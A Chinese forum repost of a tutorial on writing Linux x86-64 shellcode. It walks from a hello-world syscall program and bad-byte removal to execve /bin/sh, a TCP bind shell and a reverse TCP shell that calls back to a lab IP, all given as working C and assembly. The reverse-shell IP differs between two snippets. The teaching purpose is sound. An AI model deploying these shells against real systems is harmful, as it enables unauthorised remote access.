本帖最后由 Delina 于 2022-1-3 19:21 编辑
原文链接:Linux下Shellcode编写
Hello World
先看一个汇编通过系统调用写 Hello World 的例子
要输出一个 hello world,可以通过 write 函数来实现,通过下面的方法查找 write 函数的系统调用号,我用的 ubuntu 16.04 是这俩文件(找出来的是十进制的)
cat /usr/include/asm/unistd_32.h | grep write cat /usr/include/asm/unistd_64.h | grep write
- #define __NR_write 1
- #define __NR_pwrite64 18
- #define __NR_writev 20
- #define __NR_pwritev 296
- #define __NR_process_vm_writev 311</code></pre></div>
复制代码

rax 是存放系统调用号的,这里就应该是 1
使用 man 2 write 可以找到 write 函数的参数
ssize_t write(int fd, const void *buf, size_t count);
第一个参数是三种输出模式
0
| 1
| 2
| stdin
| stdout
| stderr
| 标准输入
| 标准输出
| 标准错误
| 第二个参数是字符串的指针,第三个参数是输出的字数,而 64 位的程序,寄存器传参:rdi, rsi, rdx, rcx, r8, r9 剩下的才用栈,所以 rdi 应该是 1,rsi 应该是字符串的地址,rdx 应该是长度
- global _start
- section .text
- _start:
- mov rax, 1 ;设置rax寄存器为write的系统调用号
- mov rdi, 1 ;设置rdi为write的第一个参数
- mov rsi, hello_world ;设置rsi为write的第二个参数
- mov rdx, length ;设置rdx为write的第三个参数
- syscall ;调用syscall
- section .data
- hello_world: db 'hello world',0xa ;字符串hello world以及换行
- length: equ $-hello_world ;获取字符串长度
复制代码

把代码保存为 hello-world.asm 然后汇编、链接,应该会这样显示:
- yichen@ubuntu:~[ DISCUZ_CODE_601 ]nbsp;nasm -felf64 hello-world.asm -o hello-world.o
- yichen@ubuntu:~[ DISCUZ_CODE_601 ]nbsp;ld hello-world.o -o hello-world
- yichen@ubuntu:~[ DISCUZ_CODE_601 ]nbsp;./hello-world
- hello world
复制代码
段错误 (核心已转储)
因为我们还没有让他正常退出,可以在后面 exit 的 syscall,让他正常退出即可
- mov rax,60
- mov rdi,0
- syscall
复制代码

使用 objdump 提取 shellcode,这一长串的魔法般的正则我就不解释了我也不会
 
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="44" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22yichen%40ubuntu%3A~%24%C2%A0objdump%C2%A0-M%C2%A0intel%C2%A0-D%C2%A0hello-world%C2%A0%7C%C2%A0grep%C2%A0'%5B0-9a-f%5D%3A'%C2%A0%7C%C2%A0grep%C2%A0-v%C2%A0'file'%C2%A0%7C%C2%A0cut%C2%A0-f2%C2%A0-d%3A%C2%A0%7C%C2%A0cut%C2%A0-f1-7%C2%A0-d'%C2%A0'%C2%A0%7C%C2%A0tr%C2%A0-s%C2%A0'%C2%A0'%C2%A0%7C%C2%A0tr%C2%A0'%5C%5Ct'%C2%A0'%C2%A0'%C2%A0%7C%C2%A0sed%C2%A0's%2F%C2%A0%24%2F%2Fg'%C2%A0%7C%C2%A0sed%C2%A0's%2F%C2%A0%2F%5C%5C%5C%5C%5C%5Cx%2Fg'%C2%A0%7C%C2%A0paste%C2%A0-d%C2%A0''%C2%A0-s%5Cn%5C%5Cxb8%5C%5Cx01%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cxbf%5C%5Cx01%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx48%5C%5Cxbe%5C%5Cxd8%5C%5Cx00%5C%5Cx60%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cxba%5C%5Cx0c%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx0f%5C%5Cx05%5C%5Cxb8%5C%5Cx3c%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cxbf%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx0f%5C%5Cx05%5C%5Cx68%5C%5Cx65%5C%5Cx6c%5C%5Cx6c%5C%5Cx6f%5C%5Cx20%5C%5Cx77%5C%5Cx6f%5C%5Cx72%5C%5Cx6c%5C%5Cx64%5C%5Cx0a%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">yichen@ubuntu:~[ DISCUZ_CODE_603 ]nbsp;objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
- \xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a
- </code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <p></p>
复制代码
在 C 语言中使用 shellcode:
- #include<stdio.h>
- #include<string.h>
- unsigned char code[]="\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
- int main(){
- printf("shellcode length:%d\n",(int)strlen(code));
- int (*ret)()=(int(*)())code;
- ret();
- }
复制代码

编译的时候需要关掉栈不可执行,当你去执行的时候会发现出错了
- yichen@ubuntu:~[ DISCUZ_CODE_605 ]nbsp;gcc -z execstack -o test 1.c
- yichen@ubuntu:~[ DISCUZ_CODE_605 ]nbsp;./test
- shellcode length:2
- t
复制代码

因为 shellcode 中存在一些 \x00,我们称为:bad character,它会使字符串截断,就没有后面什么事情了,所以要想办法消除这些 bad character
bad character 列表
| 00
| \0
| null
| 0A
| \n
| 回车换行
| FF
| \f
| 换页
| 0D
| \r
| 回车
| 消除bad character
来看一下这些 bad character 是怎么形成的
- yichen@ubuntu:~[ DISCUZ_CODE_606 ]nbsp;objdump -d -M intel hello-world
- hello-world: 文件格式 elf64-x86-64
- Disassembly of section .text:
- 00000000004000b0 <_start>:
- 4000b0: b8 01 00 00 00 mov eax,0x1
- 4000b5: bf 01 00 00 00 mov edi,0x1
- 4000ba: 48 be d8 00 60 00 00 movabs rsi,0x6000d8
- 4000c1: 00 00 00
- 4000c4: ba 0c 00 00 00 mov edx,0xc
- 4000c9: 0f 05 syscall
- 4000cb: b8 3c 00 00 00 mov eax,0x3c
- 4000d0: bf 00 00 00 00 mov edi,0x0
- 4000d5: 0f 05 syscall
复制代码

针对这种的 mov eax,0x1,可以使用对寄存器的一部分赋值实现,比如:mov al,0x1
还可以通过 xor rax,rax 先把 rax 置为 0,然后 add rax,0x1 实现
看一下效果:5、6、7 行已经没有 bad character 了
- yichen@ubuntu:~[ DISCUZ_CODE_607 ]nbsp;objdump -d -M intel hello-world
- hello-world: 文件格式 elf64-x86-64
- Disassembly of section .text:
- 00000000004000b0 <_start>:
- 4000b0: b0 01 mov al,0x1
- 4000b2: 48 31 ff xor rdi,rdi
- 4000b5: 48 83 c7 01 add rdi,0x1
- 4000b9: 48 be d8 00 60 00 00 movabs rsi,0x6000d8
- 4000c0: 00 00 00
- 4000c3: ba 0c 00 00 00 mov edx,0xc
- 4000c8: 0f 05 syscall
- 4000ca: b8 3c 00 00 00 mov eax,0x3c
- 4000cf: bf 00 00 00 00 mov edi,0x0
- 4000d4: 0f 05 syscall
复制代码

还有就是地址的问题,下面有几种方法解决:
relative address technique
通过 rel 相对 RIP 偏移找到变量的位置,等到程序执行的时候会使用 rip 减去与 hello_world 的差值,从而获得 hello_world 在内存中的位置
- global _start
- section .text
- _start:
- jmp code
- hello_world:db 'hello world',0xa
-
- code:
- mov al,1
- xor rdi,rdi
- add rdi,1
- lea rsi,[rel hello_world]
- xor rdx,rdx
- add rdx,12
- syscall
- xor rax,rax
- add rax,60
- xor rdi,rdi
- syscall
复制代码

jmp-call technique
通过在字符串前面 call 把字符串的地址压栈,然后 pop 获取
- global _start
- section .text
- _start:
- jmp string ;首先会跳转到 string
-
- code:
- pop rsi ;此时可以把压在栈上的hello_world的地址获取到
- mov al,1
- xor rdi,rdi
- add rdi,1
- xor rdx,rdx
- add rdx,12
- syscall
- xor rax,rax
- add rax,60
- xor rdi,rdi
- syscall
-
- string:
- call code ;call会把返回地址压栈,然后执行code的代码
- hello_world:db 'hello world',0xa
复制代码

stack technique
借助栈来存放,需要提前设置好字符串的十六进制逆序,用python的string[::-1].encode('hex')
- >>> string = "hello world\n"
- >>> string[::-1].encode('hex')
- '0a646c726f77206f6c6c6568'
复制代码

把需要的内容放在栈上,通过 rsp 来获得指向内容的指针
- global _start
- section .text
- _start:
- xor rax,rax
- add rax,1
- mov rdi,rax
- push 0x0a646c72
- mov rbx,0x6f77206f6c6c6568
- push rbx
- mov rsi,rsp ;rsp就是栈顶的地址,也就是字符串在栈上的地址
- xor rdx,rdx
- add rdx,12
- syscall
- xor rax,rax
- add rax,60
- xor rdi,rdi
- syscall
复制代码

用execve写个shell
学会了这些基本的消除 bad character 的方法之后来写个真正的 shellcode 试试,
一个可以获得 shell 的 C 语言代码如下
- char *const argv[]={"/bin/sh",NULL};
- execve("/bin/sh",argv,NULL);
复制代码

想办法放到对应的寄存器就行,/bin/sh 参数用 python 生成逆序的十六进制,这里多加一个 / 用来占空,防止出现 0x00
- >>> string = "//bin/sh"
- >>> string[::-1].encode('hex')
- '68732f6e69622f2f'
复制代码

一开始往栈上压入一个 0x00,用来截断 /bin/sh,顺便把第三个参数 rdx 的 NULL 设置好
xor rax,rax
push rax
mov rdx,rsp
用 stack technique 把这个参数压到栈上,然后给 rsp 这样就设置好了第一个参数
mov rbx,0x68732f6e69622f2f
push rbx
mov rdi,rsp
第二个参数是一个指针,所以把 rdi 压栈,获取到指针
push rax ;这里再次 push 的 rax 作为截断
push rdi
mov rsi,rsp
以及系统调用号是 59,最后加一个 syscall
add rax,59
syscall
把提取的 shellcode 放到之前的代码中编译~
- yichen@ubuntu:~[ DISCUZ_CODE_614 ]nbsp;gcc -z execstack -o test 1.c
- yichen@ubuntu:~[ DISCUZ_CODE_614 ]nbsp;./test
- shellcode length:32
- [ DISCUZ_CODE_614 ]nbsp;whoami
- yichen
复制代码

TCP bind shell
靶机开启一个端口监听,等待我们去连接,这样的方式容易被防火墙阻断和记录,C 语言代码如下:
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <netinet/in.h>
- int main(void)
- {
- int clientfd, sockfd;
- int port = 1234; //设置绑定的端口
- struct sockaddr_in mysockaddr;
- sockfd = socket(AF_INET, SOCK_STREAM, 0);
- mysockaddr.sin_family = AF_INET;
- mysockaddr.sin_port = htons(port);
- mysockaddr.sin_addr.s_addr = INADDR_ANY;
- bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
- listen(sockfd, 1);
- clientfd = accept(sockfd, NULL, NULL);
- dup2(clientfd, 0);
- dup2(clientfd, 1);
- dup2(clientfd, 2);
- char * const argv[] = {"sh",NULL, NULL};
- execve("/bin/sh", argv, NULL);
- return 0;
- }
复制代码

接下来使用 syscall 依次实现这个程序,查找 socket 的系统调用号是 41
- xor rax,rax
- add rax,41
- xor rdi,rdi
- add rdi,2 ;AF_INET用2表示
- xor rsi,rsi
- inc rsi ;SOCK_STREAM用1表示
- xor rdx,rdx ;第三个参数为0
- syscall
复制代码

函数调用返回值保存在 RAX 寄存器,bind 函数用 sockfd 做参数,可以直接用mov rdi,rax
接下来填充 bind 函数的第二个参数 mysockaddr 结构体,因为后面 bind 调用的时候用的是指针,所以可以压到栈上去,然后拿到指针。应该怎么填充?可以使用 GDB 调试看一下 C 语言程序内存的值(gcc 加上 -g 参数可以直接 b 15 断在代码的第 15 行)
- Breakpoint 1, main () at 1.c:15
- 15 bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
- gdb-peda[ DISCUZ_CODE_617 ]nbsp;p &mysockaddr
- $1 = (struct sockaddr_in *) 0x7fffffffdd30
- gdb-peda[ DISCUZ_CODE_617 ]nbsp;p mysockaddr
- $2 = {
- sin_family = 0x2,
- sin_port = 0xd204,
- sin_addr = {
- s_addr = 0x0
- },
- sin_zero = "\000\000\000\000\000\000\000"
- }
- gdb-peda[ DISCUZ_CODE_617 ]nbsp;x/4gx 0x7fffffffdd30
- 0x7fffffffdd30: 0x00000000d2040002 0x0000000000000000
- 0x7fffffffdd40: 0x0000000000400850 0x0000000000400650
复制代码

可以看到显示的是:两个字节的 sin_family,两个字节的 sin_port,以及八个字节的 sin_addr.s_addr,又因为栈的增长方向是从高地址往低地址的,所以要倒着写
- xor rax, rax
- push rax ;sin_addr.s_addr
- push word 0xd204 ;sin_port
- push word 0x02 ;sin_family
- mov rsi, rsp
复制代码

其中 sin_port 的值这样得出来:
- >>> import socket
- >>> hex(socket.htons(1234))
- '0xd204'
复制代码

构造完成 mysockaddr 结构体后,查找 bind 的调用号是 49,调用
- xor rdx, rdx
- add rdx, 16 ;bind的第三个参数
- xor rax, rax
- add rax, 49
- syscall
复制代码

然后是 listen 函数,因为第一个参数还是 rdi 的 sockfd 所以省去一步
- xor rax, rax
- add rax, 50
- xor rsi , rsi
- inc rsi
- syscall
复制代码

accept 函数
- xor rax , rax
- add rax, 43
- xor rsi, rsi
- xor rdx, rdx
- syscall
复制代码

accept 函数的返回值在 rax,直接给 dup2 函数用
- mov rdi, rax
- xor rax,rax
- add rax, 33
- xor rsi, rsi
- syscall
- xor rax,rax
- add rax, 33
- inc rsi
- syscall
- xor rax,rax
- add rax, 33
- inc rsi
- syscall
复制代码

execve函数直接用上面的就可以了
- xor rax, rax
- push rax
- mov rdx, rsp
- mov rbx, 0x68732f6e69622f2f
- push rbx
- mov rdi, rsp
- push rax
- push rdi
- mov rsi,rsp
- add rax, 59
- syscall
复制代码

提取出 shellcode 后放到上面的模板上,编译好运行,通过 netstat -ntlp 可以看到 1234 端口开放,然后 nc 127.0.0.1 1234 就可以获得 shell 了
Reverse TCP shell
这种方法是我们首先在自己的机器上监听一个端口,然后让靶机访问我们,这样不会被防火墙拦截。先看看 C 语言的代码
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- int main(void)
- {
- int sockfd;
- int port = 1234;
- struct sockaddr_in mysockaddr;
- sockfd = socket(AF_INET, SOCK_STREAM, 0);
- mysockaddr.sin_family = AF_INET;
- mysockaddr.sin_port = htons(port);
- mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
- connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));
- dup2(sockfd, 0);
- dup2(sockfd, 1);
- dup2(sockfd, 2);
- char * const argv[] = {"/bin/sh", NULL};
- execve("/bin/sh", argv, NULL);
- return 0;
- }
复制代码

基本差不多,socket 函数
- xor rax, rax
- add rax, 41
- xor rdi, rdi
- add rdi, 2 ;AF_INET用2表示
- xor rsi, rsi
- inc rsi ;SOCK_STREAM用1表示
- xor rdx, rdx ;第三个参数为0
- syscall
复制代码

填充 mysockaddr 结构体,IP 地址的十六进制形式这样获得,也就是 0x01e8a8c0
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="54" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%3E%3E%3E%C2%A0import%C2%A0socket%5Cn%3E%3E%3E%C2%A0socket.inet_aton('192.168.232.1')%5B%3A%3A-1%5D%5Cn'%5C%5Cx01%5C%5Cxe8%5C%5Cxa8%5C%5Cxc0'%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">>>> import socket
- >>> socket.inet_aton('192.168.232.1')[::-1]
- '\x01\xe8\xa8\xc0'</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="53" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
- <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22mov%C2%A0rdi%2C%C2%A0rax%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%3Bsockfd%5Cnxor%C2%A0rax%2C%C2%A0rax%5Cnpush%C2%A0dword%C2%A00x01e8a8c0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%3Bsin_addr.s_addr%5Cnpush%C2%A0word%C2%A00xd204%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%3Bsin_port%5Cnpush%C2%A0word%C2%A00x02%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%3Bsin_family%5Cnmov%C2%A0rsi%2C%C2%A0rsp%5Cnxor%C2%A0rdx%2C%C2%A0rdx%5Cnadd%C2%A0rdx%2C%C2%A016%5Cnxor%C2%A0rax%2C%C2%A0rax%5Cnadd%C2%A0rax%2C%C2%A042%5Cnsyscall%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">mov rdi, rax ;sockfd
- xor rax, rax
- push dword 0x01e8a8c0 ;sin_addr.s_addr
- push word 0xd204 ;sin_port
- push word 0x02 ;sin_family
- mov rsi, rsp
- xor rdx, rdx
- add rdx, 16
- xor rax, rax
- add rax, 42
- syscall</code></pre></div>
复制代码

三个 dup2
- xor rax, rax
- add rax, 33
- xor rsi, rsi
- syscall
- xor rax, rax
- add rax, 33
- inc rsi
- syscall
- xor rax, rax
- add rax, 33
- inc rsi
- syscall
复制代码

execve
- xor rax, rax
- push rax
- mov rdx, rsp
- mov rbx, 0x68732f6e69622f2f
- push rbx
- mov rdi, rsp
- push rax
- push rdi
- mov rsi,rsp
- add rax, 59
- syscall
复制代码

|